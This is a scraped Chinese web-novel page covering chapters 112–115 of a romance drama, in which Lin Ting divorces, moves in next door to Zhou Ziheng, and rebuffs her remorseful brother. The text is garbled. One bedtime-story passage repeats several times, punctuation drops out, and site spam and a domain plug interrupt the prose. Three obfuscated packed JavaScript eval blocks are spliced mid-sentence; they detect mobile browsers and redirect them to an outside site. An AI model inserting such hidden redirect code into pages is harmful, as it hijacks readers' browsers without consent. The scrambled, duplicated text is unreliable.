每次林薇薇靠近他。 他的脑海里总会浮现出林听的面容。 他从来就没有忘记过她。 林听真是无语到家了“你的私事我不敢兴趣不必跟我说让开。” 说完她一把甩开摁着车门的江遇干脆利落上了车。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第112章 等着喝喜酒吧! 宋律风绕过车头,坐进驾驶室里。 他载着车上的林听,很快,扬长而去。 留下满脸挫败的江遇,望着远去的车子,遥遥相望。 他和林听的距离越来越远。 阴沉沉的天色,风起云动。 没一会儿便落起了雨。 狂风搅动着整个城市,也搅动着江遇的胸口。 雨点越来越大。 停车场的人们赶紧冲进自己的车子里,开着车子纷纷离去。 只留下站在大雨中,整个身影淹没在雨帘中的江遇。 不远处。 狂风大雨不断地拍打着,一辆酒红色的红旗国耀。 车窗被雨点砸得噼里啪啦作响。 不管风雨再大,车里的周自衡依然岿然不动。 坐在驾驶室的洛高,松开方向盘,回头一望。 “家主,亲眼见着林小姐和宋律师办完离婚手续。” “你心里应该踏实许多了吧?” 这辆车是从中午两点抵达的民政局停车场。 一直到刚刚林听和宋律风办完离婚手续。 周自衡看着不远处,站在雨中一动不动的江遇。 雨水早已浸湿了他的全身。 江遇整个人湿嗒嗒的,整颗心也湿嗒嗒的。 停车场的自动升降杆,抬起来。 一辆酒红色的红旗国耀,缓缓驶离。 车窗紧闭。 什么也看不见。 但站在雨中的江遇知道,周自衡一定在车上。 他掏出手机,拨打了周自衡的手机号码。 车里的周自衡,拿出手机。 后视镜被雨水冲刷着,依然可以清晰地看见,站在雨中给他打电话的江遇。 周自衡接了电话。 那头传来江遇冰冷中,带着质问的语气: “周自衡,这一天你等了很久了吧?” 这一天指的是林听和宋律风**的日子。 兄弟俩,心照不宣。 岿然不动间,周自衡淡淡应声,“你觉得,你还有资格过问林听的感情问题?” 现在谁追求林听。 林听和谁在一起。 江遇都没有资格再插手了。 这句话,问得江遇哑口无言。 **中,雨水疼痛地拍打在他的脸颊上。 他的额角冒起了愤怒的青筋: “周自衡,你当真要抢兄弟的女人?” 若是从前,周自衡是断然不会抢的。 林听最爱的男人便是江遇。 他们两情相悦。 周自衡也误以为他们二人一定能美满幸福,误以为江遇能够护住林听一生。 在平静的情绪中,周自衡说出了最坚定的声音: “如果时光能倒流,你不会再有机会伤害林听。” 只恨没有早些跟他抢。 说罢,周自衡挂断了电话。 车窗的后视镜里,已经瞧不见江遇的身影了。 只剩下雨中匆匆赶路的车辆与行人。 …… 这场暴雨,来得快,去得也快。 没半个小时,雨过天晴。 周国立和张淑琴,瞧着宋律风和林听的离婚证。 说不上是高兴,还是惆怅。 女儿周琪死后,张淑琴早已经把宋律风当成了自己的亲儿子,也把林听当成了自己的亲闺女。 其实,二老是希望能够撮合这二人,真正在一起。 他们若能假戏真做,也能好好将落落、柚子、盼盼三姐妹抚养长大的。 林听对落落和盼盼的好,二老是看在眼里的。 周琪刚去世那会,盼盼还是个小奶娃。 半夜每隔两个小时,就要喂一次奶。 哪怕林听生着重病,也依然温柔如母亲一样,夜里一次次给盼盼泡奶粉。 可惜啊。 宋律风的心早随女儿周琪去了。 林听也无心感情之事。 两人倒是亲如兄妹了。 坐在沙发上张淑琴,合上林听和宋律风的离婚证,问: “小听,接下来你有什么打算?” 林听想了想,“我之前坐过牢,学业荒废了,学籍也被开除了,暂时还不知道要做什么。一切等我和林家人以及苏秀珍母女俩,算完账以后,再做打算吧。” 张淑琴点点头,“也是。林家的财产,有一半都是你妈妈唐婉华的。一定要拿过来,你和柚子才能有个保障 。” 就在这时一道长身顶立的身影踏入客厅。 那是不请自来的周自衡。 他先是和周国立张淑琴打了招呼。 然后看着林听问“宋律风去**了?” 林听点点头。 张淑琴赶忙把林听和宋律风的离婚证递向周自衡: “自衡快看小听和律风的离婚证 “从现在起小听和律风都是自由单身了你身边要是有可靠的女孩子可以介绍给律风。” “要是有靠谱的兄弟哥们也一定要介绍给小听。” 林听望向张淑琴“妈介绍给律风就行了我就不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687615|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了再说我一个带着孩子还坐过牢的女人谁看得上。” 林听无心感情之事张淑琴当然知道。 她这么说是特意要看周自衡的反应。 接过离婚证的周自衡平静地坐到张淑琴和林听的对面。 看了看那离婚证又平静道“什么时候去办的?” 站在旁边的洛高忍俊不禁。 家主不仅老谋深算还是奥斯卡影帝。 周自衡虽是一脸平静目光却落在离婚证上的钢印之上。 看到钢印这才合上离婚证还给林听。 林听接过来“下午去办的。” 周自衡又对张淑琴说“琴姨放心如果有靠谱的人选我一定介绍给律风和林听。” 张淑琴看不懂周自衡。 宋律风说他对林听有意思? 这像是有意思的反应吗? 她就纳闷了。 她像是推销产品似的又说: “尤其是我们小听。” “你看我们小听长得漂亮人又善良而且还这么年轻。” 周自衡看了林听一眼“她啊又蠢又傻。” 林听瞪他一眼“周自衡别老说我蠢好不好?” 两人从小开玩笑惯了。 林听也没放在心上。 周自衡直奔主题“我过来帮你搬东西。” 林听没反应过来“什么?” 洛高这才上前插了一句“林小姐你不是要搬到隔壁的别墅去住?我爸我妈已经把你和柚子 的房间都收拾好了。” 林听这才想起来洛叔洛婶早就帮她收拾好了屋子。 大约用了三个小时。 林听和柚子在周自衡的亲自帮忙下搬去了隔壁。 林听是想着宋律风虽然心里念着亡妻周琪但他始终还如此年轻。 她搬出来才能给让宋律风更好的迎接下一位宋家女主人。 反正她和周自衡已经是二十多年的**友情了。 宋律风从**回来时家里只剩下和周国立和张淑琴还有秦姐、盼盼。 他问“小听和柚子还有落落呢?” 张淑琴说“搬隔壁了落落去看柚子的新房间了。周自衡亲自帮忙搬的。律风你说周自衡对小听到底有没有那个意思要是有的话他怎么总是嫌弃小听又傻又蠢?” 周国立插了一句“他是不是还嫌弃小听坐过牢?” 宋律风不知道该如何陈述笑笑道“你们就等着喝喜酒吃喜糖吧。” 周自衡这个男人 可是今天他和林听去**的时候他看见了周自衡他没有拆穿他而已。 第113章 深情凝视 宋律风笃定,周自衡对林听是有那般心思的。 可张淑琴与周国立,却是发着愁。 张淑琴叹口气道,“我们小听哪点都好,就是被那渣前任和渣爸渣哥给坑去坐过牢。周自衡虽然也坐过牢,可是他长得帅,有钱有权有地位,他会不会真的看不上我们小听? 张淑琴越想越气不过。 “林家的人太不是东西了。 “这林建国不相信小听是他亲女儿,这林振宇总是小听的亲哥吧?他也忍心把小听送去监狱,害我们小听吃了这么多的苦,现在知道真相了,还有脸来求原谅? 正说着林听的渣哥林振宇。 在外面擦着玻璃的秦姐,便拿着抹布走进来说: “琴姨,周叔,宋先生,小听的哥哥林先生在大门外。 “他说他想见见小听,还带了东西。 “但是我没给他开门。 因为林家的人,张淑琴正憋着一肚子的怒意。 这会儿林振宇是撞她枪口上了。 她从沙发上起了身,大步朝外走去。 “看我不好好收拾收拾这没心没肝的狗男人。 找来找去,张淑琴觉得,那盆被秦姐洗过抹布的脏水,用来收拾林振宇最合适不过了。 端着它,她气冲冲走到别墅大门口。 脏水倾盆而出。 林振宇完全没反应过来时,张淑琴已经开始破口大骂。 “你个认贼作母,残害亲妹妹的,猪狗不如的东西。 “早上才跟你说过了,以后别来找我们小听。 “你下次再敢来,我泼的就不是脏水,是大粪了。 脏水泼过来时,林振宇赶紧护着手里的精美盒子。 上面还绑着一个漂亮的蝴蝶结。 那是他送给林听的礼物。 可不能弄脏了。 幸好他反应快。 林振宇擦了擦盒子表面溅起的脏水,眉心紧拧。 没想到宋律风的丈母娘看起来知书达理,人却如此泼辣。 林振宇心中有火气,却不敢发作。 “张阿姨,你这是干什么,我就是想见一见我妹妹。 张淑琴没好气道,“你的妹妹不是那林 薇薇吗,现在知道认我们小听了。 林振宇:“琴姨,我什么时候不认小听了?是,之前是我又蠢又笨,做了许多伤害小听的事情,可是我从来没有不认小听这个妹妹啊。 林振宇冤枉。 哐当一声! 张淑琴手中的盆,越过别墅前的铁艺门,砸在林振宇身上。 “滚! 这时,宋律风和周国立也走出来。 宋律风脸色铁青,“林振宇,你再不走,我叫物业了。 林振宇:“好,好,好,我走。 …… 半个小时后。 林听和柚子落落三人,手牵着手,从隔壁别墅走出来。 轻快的步伐,在见到一身狼狈的林振宇后,突然停了下来。 他身上湿嗒嗒的,全是脏水。 不用猜,林听也知道,肯定是妈妈张淑琴泼了他一身脏水。 “小听,柚子。林振宇见了母女二人,赶紧大步走上去。 最后,目光落在柚子身上。 林振宇慢慢蹲下来,“柚子,之前是舅舅不好,舅舅知道错了,你原谅舅舅好不好? 柚子好讨厌眼前的这个人。 她的声音,变得奶凶奶凶的: “之前你把我妈妈害得还不够惨吗,你走,我和妈妈都不想见到你,我没有舅舅。 小小的柚子,眼里浸满了委屈痛苦的泪水。 林振宇心都要碎掉了。 这么可爱的外甥女。 他差点让她,失去妈妈。 “舅舅真的知道错了。 “你看,舅舅把之前的相册都修复好了。 盒子里的琉璃水晶相册,被林振宇拿出来。 柚子看也不看一眼。 他又捧着相册,起身递到林听面前。 “小听,这是我们兄妹俩,从小到大的相册。 “之前是哥哥不好,摔坏了它。 “我重新用琉璃水晶,做了新的相册。 “你看看…… 啪嗒一声! 林听挥了一下。 林振宇手中捧着的琉璃水晶相册,摔碎在地上。 他本是想通过这本相册,唤起小听儿时的美 好回忆。 只要她想起儿时的美好心就能软下来就能去医院里看一看重伤的父亲。 可是相册碎了一地。 当时他是怎么把相册摔碎的林听便怎么还给他。 林振宇终于体会到了当初林听找他求药时那种绝望痛苦的心情。 “林振宇不要给脸不要脸!” 说完林听牵着落落和柚子走进了别墅。 当她们三人来到别墅餐厅时张淑琴刚好端了最后一道菜上桌。 见落地窗外林振宇依旧站在别墅大门口张淑琴皱眉道“这狗东西怎么还没走?” 林听让孩子们去洗手吃饭然后摆着碗筷“妈放心我已经打电话报警了。” 别墅外林振宇扬声呐喊“小听我一直站在这里直到你原谅我为止。你一天不原谅我就站一天不管刮风下雨。” 张淑琴骂了一句“神经病。” “不用管他我们吃饭。” 没一会儿接到报警电话的**同志来到宋律风家门口。 林振宇被警告了。 有**同志的介入林振宇不得不灰溜溜地离开。 离开的时候他怀里抱着那本被林听摔得稀碎的琉璃水晶相册。 回到医院林建国见到这本稀碎的相册什么都明白过来了“小听还是不肯原谅我们?” 林振宇语气沉沉道“爸我们对小听的伤害太深了恐怕这一辈子都弥补不过来。不过爸你放心血始终浓于水。早晚有一天我们一家人会重新团聚在一起的。” 躺在病床上的林建国道“振宇想办法让小听和江遇复合吧。他们一家三口也该团聚了。” 林振宇:“放心 …… 君悦府。 张淑琴哄睡了小外孙女盼盼走出婴儿房对周国立感慨着。 “小听和柚子搬去隔壁住我还真是不习惯。” “一下子就不热闹了。” 这时座机响了。 是周自衡打过来的。 周自衡在电话里问“琴姨平时柚子和落落睡觉前你都给她们讲什么故事柚子最喜欢听什么?” 张淑琴问,“怎么了,柚子是换了新房间睡不着吗,你等着,我过去哄她。” “不用了,琴姨。”周自衡果断拒绝了,“以后我来哄就好。” 直到张淑琴告诉周自衡,柚子喜欢听的故事,又挂断电话后,张淑琴都还没得反应过来。 这句以后他来哄柚子的意思。 临睡前,张淑琴悄然想明白。 她拍了拍周国立的手臂。 “国立,周自衡说以后他来哄柚子睡觉,是什么意思?” “难道,他是想给柚子当继父?” 周国立戴着老花眼镜,看着手中的历史典籍,笑着道: “恐怕被律风说中了,周自衡早就对小听有意思了。” 隔壁别墅。 周自衡找到了柚子最喜欢的那本《女水手日记》 女主人公是个勇敢的小姑娘,叫陶雪洛。 她一个人登上海鹰号轮船,跨越太平洋,与轮船上的恶魔船长斗智斗勇。 “雪落越爬越高,她偷偷地看了一眼下面,海鹰号变得很小,而大海则变得很大……” 门外,林听听着男人铁血柔情的声音,渐渐停下来。 那是周自衡给柚子讲故事的声音。 她不过是去洗了个澡。 本想洗完澡来哄柚子睡觉,透过门缝,却看见周自衡合上了手中的书。 柚子已经被他哄睡了。 温柔地替柚子掩着被角。 这样温柔的照顾,连柚子的亲生父亲江遇,也未曾给过柚子。 灯光下,睡着的柚子,和调着空调温度的周自衡,倒像是一对相处已久的恩爱父女。 睡着的柚子,小手还挽着周自衡的胳膊。 起身的时候,周自衡小心翼翼地挪动这只小胳膊,小心翼翼地关了灯,退出房间门。 走出去,迎面遇见了刚刚洗过澡的林听…… 你的朋友正在书荒,快去帮帮他吧 张淑琴问,“怎么了,柚子是换了新房间睡不着吗,你等着,我过去哄她。 “不用了,琴姨。周自衡果断拒绝了,“以后我来哄就好。 直到张淑琴告诉周自衡,柚子喜欢听的故事,又挂断电话后,张淑琴都还没得反应过来。 这句以后他来哄柚子的意思。 临睡前,张淑琴悄然想明白。 她拍了拍周国立的手臂。 “国立,周自衡说以后他来哄柚子睡觉,是什么意思? “难道,他是想给柚子当继父? 周国立戴着老花眼镜,看着手中的历史典籍,笑着道: “恐怕被律风说中了,周自衡早就对小听有意思了。 隔壁别墅。 周自衡找到了柚子最喜欢的那本《女水手日记》 女主人公是个勇敢的小姑娘,叫陶雪洛。 她一个人登上海鹰号轮船,跨越太平洋,与轮船上的恶魔船长斗智斗勇。 “雪落越爬越高,她偷偷地看了一眼下面,海鹰号变得很小,而大海则变得很大…… 门外,林听听着男人铁血柔情的声音,渐渐停下来。 那是周自衡给柚子讲故事的声音。 她不过是去洗了个澡。 本想洗完澡来哄柚子睡觉,透过门缝,却看见周自衡合上了手中的书。 柚子已经被他哄睡了。 温柔地替柚子掩着被角。 这样温柔的照顾,连柚子的亲生父亲江遇,也未曾给过柚子。 灯光下,睡着的柚子,和调着空调温度的周自衡,倒像是一对相处已久的恩爱父女。 睡着的柚子,小手还挽着周自衡的胳膊。 起身的时候,周自衡小心翼翼地挪动这只小胳膊,小心翼翼地关了灯,退出房间门。 走出去,迎面遇见了刚刚洗过澡的林听…… 你的朋友正在书荒,快去帮帮他吧 张淑琴问,“怎么了,柚子是换了新房间睡不着吗,你等着,我过去哄她。 “不用了,琴姨。周自衡果断拒绝了,“以后我来哄就好。 直到张淑琴告诉周自衡,柚子喜欢听的故事,又挂断电话后,张淑琴都还没得反应过来。 这句以后他来哄柚子的意思。 临睡前,张淑琴悄然想明白。 她拍了拍周国立的手臂。 “国立,周自衡说以后他来哄柚子睡觉,是什么意思? “难道,他是想给柚子当继父? 周国立戴着老花眼镜,看着手中的历史典籍,笑着道: “恐怕被律风说中了,周自衡早就对小听有意思了。 隔壁别墅。 周自衡找到了柚子最喜欢的那本《女水手日记》 女主人公是个勇敢的小姑娘,叫陶雪洛。 她一个人登上海鹰号轮船,跨越太平洋,与轮船上的恶魔船长斗智斗勇。 “雪落越爬越高,她偷偷地看了一眼下面,海鹰号变得很小,而大海则变得很大…… 门外,林听听着男人铁血柔情的声音,渐渐停下来。 那是周自衡给柚子讲故事的声音。 她不过是去洗了个澡。 本想洗完澡来哄柚子睡觉,透过门缝,却看见周自衡合上了手中的书。 柚子已经被他哄睡了。 温柔地替柚子掩着被角。 这样温柔的照顾,连柚子的亲生父亲江遇,也未曾给过柚子。 灯光下,睡着的柚子,和调着空调温度的周自衡,倒像是一对相处已久的恩爱父女。 睡着的柚子,小手还挽着周自衡的胳膊。 起身的时候,周自衡小心翼翼地挪动这只小胳膊,小心翼翼地关了灯,退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687616|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出房间门。 走出去,迎面遇见了刚刚洗过澡的林听…… 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 张淑琴问,“怎么了,柚子是换了新房间睡不着吗,你等着,我过去哄她。 “不用了,琴姨。周自衡果断拒绝了,“以后我来哄就好。 直到张淑琴告诉周自衡,柚子喜欢听的故事,又挂断电话后,张淑琴都还没得反应过来。 这句以后他来哄柚子的意思。 临睡前,张淑琴悄然想明白。 她拍了拍周国立的手臂。 “国立,周自衡说以后他来哄柚子睡觉,是什么意思? “难道,他是想给柚子当继父? 周国立戴着老花眼镜,看着手中的历史典籍,笑着道: “恐怕被律风说中了,周自衡早就对小听有意思了。 隔壁别墅。 周自衡找到了柚子最喜欢的那本《女水手日记》 女主人公是个勇敢的小姑娘,叫陶雪洛。 她一个人登上海鹰号轮船,跨越太平洋,与轮船上的恶魔船长斗智斗勇。 “雪落越爬越高,她偷偷地看了一眼下面,海鹰号变得很小,而大海则变得很大…… 门外,林听听着男人铁血柔情的声音,渐渐停下来。 那是周自衡给柚子讲故事的声音。 她不过是去洗了个澡。 本想洗完澡来哄柚子睡觉,透过门缝,却看见周自衡合上了手中的书。 柚子已经被他哄睡了。 温柔地替柚子掩着被角。 这样温柔的照顾,连柚子的亲生父亲江遇,也未曾给过柚子。 灯光下,睡着的柚子,和调着空调温度的周自衡,倒像是一对相处已久的恩爱父女。 睡着的柚子,小手还挽着周自衡的胳膊。 起身的时候,周自衡小心翼翼地挪动这只小胳膊,小心翼翼地关了灯,退出房间门。 走出去,迎面遇见了刚刚洗过澡的林听…… 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 张淑琴问“怎么了柚子是换了新房间睡不着吗你等着我过去哄她。” “不用了琴姨。”周自衡果断拒绝了“以后我来哄就好。” 直到张淑琴告诉周自衡柚子喜欢听的故事又挂断电话后张淑琴都还没得反应过来。 这句以后他来哄柚子的意思。 临睡前张淑琴悄然想明白。 她拍了拍周国立的手臂。 “国立周自衡说以后他来哄柚子睡觉是什么意思?” “难道他是想给柚子当继父?” 周国立戴着老花眼镜看着手中的历史典籍笑着道: “恐怕被律风说中了周自衡早就对小听有意思了。” 隔壁别墅。 周自衡找到了柚子最喜欢的那本《女水手日记》 女主人公是个勇敢的小姑娘叫陶雪洛。 她一个人登上海鹰号轮船跨越太平洋与轮船上的恶魔船长斗智斗勇。 “雪落越爬越高她偷偷地看了一眼下面海鹰号变得很小而大海则变得很大……” 门外林听听着男人铁血柔情的声音渐渐停下来。 那是周自衡给柚子讲故事的声音。 她不过是去洗了个澡。 本想洗完澡来哄柚子睡觉透过门缝却看见周自衡合上了手中的书。 柚子已经被他哄睡了。 温柔地替柚子掩着被角。 这样温柔的照顾连柚子的亲生父亲江遇也未曾给过柚子。 灯光下睡着的柚子和调着空调温度的周自衡倒像是一对相处已久的恩爱父女。 睡着的柚子小手还挽着周自衡的胳膊。 起身的时候周自衡小心翼翼地挪动这只小胳膊小心翼翼地关了灯退出房间门。 走出去 说的域名caixs.com?(请来才小 说 看最新章节 完整章节)迎面遇见了刚刚洗过澡的林听…… 听说看这本书的人都是很幸运的,分享后你的运气会更棒 张淑琴问,“怎么了,柚子是换了新房间睡不着吗,你等着,我过去哄她。” “不用了,琴姨。”周自衡果断拒绝了,“以后我来哄就好。” 直到张淑琴告诉周自衡,柚子喜欢听的故事,又挂断电话后,张淑琴都还没得反应过来。 这句以后他来哄柚子的意思。 临睡前,张淑琴悄然想明白。 她拍了拍周国立的手臂。 “国立,周自衡说以后他来哄柚子睡觉,是什么意思?” “难道,他是想给柚子当继父?” 周国立戴着老花眼镜,看着手中的历史典籍,笑着道: “恐怕被律风说中了,周自衡早就对小听有意思了。” 隔壁别墅。 周自衡找到了柚子最喜欢的那本《女水手日记》 女主人公是个勇敢的小姑娘,叫陶雪洛。 她一个人登上海鹰号轮船,跨越太平洋,与轮船上的恶魔船长斗智斗勇。 “雪落越爬越高,她偷偷地看了一眼下面,海鹰号变得很小,而大海则变得很大……” 门外,林听听着男人铁血柔情的声音,渐渐停下来。 那是周自衡给柚子讲故事的声音。 她不过是去洗了个澡。 本想洗完澡来哄柚子睡觉,透过门缝,却看见周自衡合上了手中的书。 柚子已经被他哄睡了。 温柔地替柚子掩着被角。 这样温柔的照顾,连柚子的亲生父亲江遇,也未曾给过柚子。 灯光下,睡着的柚子,和调着空调温度的周自衡,倒像是一对相处已久的恩爱父女。 睡着的柚子,小手还挽着周自衡的胳膊。 起身的时候,周自衡小心翼翼地挪动这只小胳膊,小心翼翼地关了灯,退出房间门。 走出去,迎面遇见了刚刚洗过澡的林听…… 你的朋友正在书荒,快去帮帮他吧 第114章 直接表明心迹吧! 周自衡掩了门。 长身玉立的身姿映在走廊的灯光中。 林听就站在他的身前。 这铁血柔情的身影下,让林听顿时显得有些娇小了。 林听挺意外,也挺感激的。 “周自衡,没想到你给小朋友讲故事的时候,还能如此绘声绘色。” 刚刚她站在门口听了一小会儿。 连她也沉浸在了他的故事之中。 他用独特的嗓音,扮演着书中的每一个人物。 老船长的狡猾城府,雪落的勇敢机灵,水手的胆战心惊,被他用不同的语速语气扮演出来。 书中的故事,活灵活现了起来。 他讲故事讲得如此用心。 难怪柚子这么喜欢他。 林听不免又有些心酸。 大概柚子是从小缺乏父爱。 所以才如此喜欢周爸爸。 要是柚子能有一个像周自衡这般有耐心的爸爸,那该多好呀! 说起来,柚子和周自衡真是有缘分。 柚子还在她肚子里的时候,人人就都以为周自衡是柚子的父亲。 现在柚子喊周自衡一声周爸爸,仿佛是多了一份父爱。 “周自衡,你对柚子都能如此温柔耐心。” “要是你自己的亲生女儿,不知道你得有多宠她,疼她?” “要不,你赶紧找个女人结婚生孩子吧。” “反正你这么喜欢小孩。” 周自衡倒是答得淡然平静: “不是所有小孩子我都喜欢。” “也不是什么女人都能给我生孩子。” 说这句话的时候,他一直看着林听。 目光明明平静无波,却未曾从林听身上移开。 气氛突然变得有些奇怪。 连空气都静止了似的。 林听也不知道,这个男人干嘛一直这样平静又久久地看着自己? 目光都不知挪一下的。 说他对自己好像有意思吧,又看不出他眼中的波澜。 说他对自己没意思吧,为什么一直盯着她看? 大概两人沉默的时间太长,周自衡先打破这阵平静,问: “接下来有什么打算?” “有想过要给柚子**吗?” 这个完全不在林听的计划之中。 周自衡又说: “我身边倒是有不少优秀的青年才俊。” “要是有打算,可以介绍几个给你挑选。” 林听摆摆手,笑道,“算了吧,我一个坐过牢,还带着女儿,并且已经三十岁的老女人了,谁会看上我。” 说着,她打了一个哈欠。 “周自衡,谢谢你今天又帮我搬家,又帮我哄睡柚子。” “你早点洗澡睡了,我回屋睡觉了。” “晚安!” 女人转身往自己的屋子走去。 留下身后目光相送的周自衡。 这是三十三年来,林听第一次跟他说晚安。 以后还会有很多个:晚安! 周自衡不由露出微笑。 那唇角扬起的弧度,压也压不住。 冷峻的轮廓突然变得柔软起来。 习惯用麻木和冰冷来掩饰自己的周自衡,忽然间整个人变得明亮了许多。 仿佛连别墅外的夜色,也跟着明亮了起来。 夜空清澈。 星光点点。 风也是甜的。 可是在夜色的另一头。 空气却苦涩不堪。 历时五天四夜,这对陶瓷娃娃,终于**遇修复好了。 他在陶瓷娃娃上,重新刻下了当年的那两句话: 赤绳早系。 白首永携。 两个娃娃肩并肩的挨在一起。 那些裂痕早就不见了。 一如当初,你依我侬,恩爱甜蜜。 江遇眉眼里的愁云,却丝毫没有消散。 当初是他亲自把它们摔碎的。 林听一定恨死他了。 他重新拿着这对陶瓷娃娃去找林听,林听还会喜欢吗? 女娃娃**遇小心翼翼拿起来。 它像极了林听的模样。 记忆闪回,许多往事**遇想起。 他相信,他和林听有着深厚的感情基础。 只要他足够有耐心,林听一定会原谅他。 …… 翌日清晨。 周自衡接到了江 书臣打来的电话。 “阿衡,我和静姝想见见小听,可是没有小听现在的联系方式。” “你可不可以帮帮忙?” 周自衡喝豆浆的时候,一大口喝掉了大半杯。 可是他吃早餐的动作和粗鲁二字,丝毫扯不上关系。 相反,连他吃个早餐,也能彰显出某种特有的男人气概。 他放下杯子,对电话那头说,“小听就在我身边。” 啊? 电话那头的江书臣,有些诧异。 这才早上七点钟。 这么早。 两人怎么这么巧,刚好在一起? 江书臣疑惑着,“这么早,你们碰巧遇到了?” 周自衡夹了一块小笼包,咬了一口,“她们母女俩,住在我这边。你等一下,我让她听电话。” “谁啊?”林听有些茫然。 周自衡把电话递过去,“江书臣找你有事。” 既然是江书臣的电话,林听没有理由不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693051|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接。 毕竟从小到大,书臣哥帮过她不少。 这些年她被冤枉入狱,所有人都不信她。 唯独书臣哥相信她的为人。 她正要接过手机,可是刚刚掰油条的时候,她手上沾满了油。 周自衡见她擦着手上的油,不由拿着手机贴到了她的耳朵前。 “你听电话,我帮你拿着就行。” 林听赶紧对着电话那头的人,礼貌地喊了一声,“书臣哥。” 电话里的江书臣十分激动。 自从知道她还活着,江书臣还没正式和林听见过面。 前两日林建国的苏秀珍的婚礼上,林听霸气回归,江书臣也只是匆匆忙忙见了一面。 连话都没说上一句。 这会儿听到一声熟悉的——书臣哥。 江书臣顿时热泪盈眶。 他激动万分地应了一声,赶紧又说: “小听,知道你还好好的活着,书臣哥真的太高兴了。” “是书臣哥没用,你病重的时候,没能说服他们。” “书臣哥对不起你。” 要不是有周自衡,她真的已经成为坟山里的一堆白骨了。 江书臣话语里的哽咽声,林听听 见了。 她不由安慰,“书臣哥,我这不是好好地活着吗? 江书臣欣慰道,“小听,我和静姝想请你吃顿饭,嘉树也很想柚子妹妹了,今天晚上你有空吗? 林听爽快答应了,“有空。 江书臣高兴道,“那今天晚上见,我让司机去接你和柚子。 林听:“好。 见她不再说话,周自衡这才把手机从她耳畔边上拿回来,“讲完了? “嗯。 林听继续掰着油条,一截一截,泡进豆浆里。 西式的早餐她吃不习惯。 她还是喜欢中式早餐。 埋头喝着泡了油条的豆浆,又听周自衡说,“那你今天晚上,不回家吃饭? 林听抬头:“嗯,不用准备我和柚子的晚餐了。 周自衡淡淡地抱怨着:“好不容易不用一个人孤零零吃饭,晚上又要一个人。 林听:“你不是因为怕孤单,才让我和柚子住过来的吧? 周自衡不答反问,“我身边除了你,还有别的靠得住的,不坑我害我的人? 也是哦。 周自衡的亲人,个个都想要他的命。 她既是周自衡的朋友,又是他的亲人。 吃着早餐,她安慰着,“好啦,明天我和柚子早点回家,陪你吃饭。 早餐后,林听和张淑琴约好了,一起送柚子和落落去幼儿园。 他们走后,洛高问,“家主,为什么你不直接对林小姐表明心迹? 第115章 你们同居了? 周自衡喝着豆浆的动作,停下来。 “她已经不是十八岁的林听了。 十八岁的林听,他若直接对她表明心迹。 或许还有希望。 可是现在的林听,经历了太多的创伤。 尤其是男女感情。 现在她的一切重心都在柚子身上,肯定早就无心再谈男女之事。 直接表明心迹,反而会适得其反,甚至连朋友都做不成。 这样的结局,周自衡承受不起。 刚刚有林听和柚子陪着吃早餐,豆浆是甜的,小笼包是鲜美的。 这会儿两母女和隔壁的落落一起去幼儿园了,周自衡再喝一口豆浆,好像没那么甜了。 索性,放下杯子,“按照我的计划,一步一步来。 洛高着急**,“家主,你就不怕林小姐和江总破镜重圆吗,毕竟他们有感情基础。 周自衡抬眸,只淡淡的一眼,却让洛高感觉到一股强大的力量,“你见过我,计划失败? 这一点,洛高倒是可以肯定的。 家主想要办成的事情,从来没有失败过的。 只有很多时候,家主心思太深,他看不懂他的谋略。 …… 星河湾。 怡和别苑。 江嘉树放下手中的牛奶,急切问: “爸爸,小听阿姨答应来我家吃饭了吗? “嗯。江书臣摸了摸小嘉树的脑袋,“答应了,还会带着你心心念念的柚子妹妹。 小嘉树露出笑容来,“太好啦,爸爸,我要亲自去接柚子妹妹。 夏静姝赶紧附和,“是啊,书臣,你和嘉树亲自去接小听和柚子,别让司机去,才显得有诚意。 江书臣给夏静姝盛着她最爱喝的苹果银耳汤: “现在你知道要拿出诚意了,当初你对小听又打又骂,也不知道小听能不能原谅你。 夏静姝一脸自责,“书臣,我知道错了嘛,这次我会好好弥补小听的。 早餐后,司机送江嘉树去学校。 衣帽间。 江书臣挑选着今日要穿的西装外套。 今天有个新闻发布会。 原本是要让江遇出席。 可是这个狗男人最近电话经常关机集团的事情也不上心。 江遇的整个工作状态一团乱。 而林振宇有他自己的AI事业林建国又重伤未愈一直躺在医院里。 **医药上上下下的所有事情都落在他一个人的头上。 本就日理万机的江书臣更忙了。 衬衣穿好后他扎着皮带。 身后一双柔软的细臂缠上腰间。 男人腰间劲瘦的力道让夏静姝深情地闭上了眼。 她的呼吸变得烫如岩浆。 “书臣我们三天没有做了。” 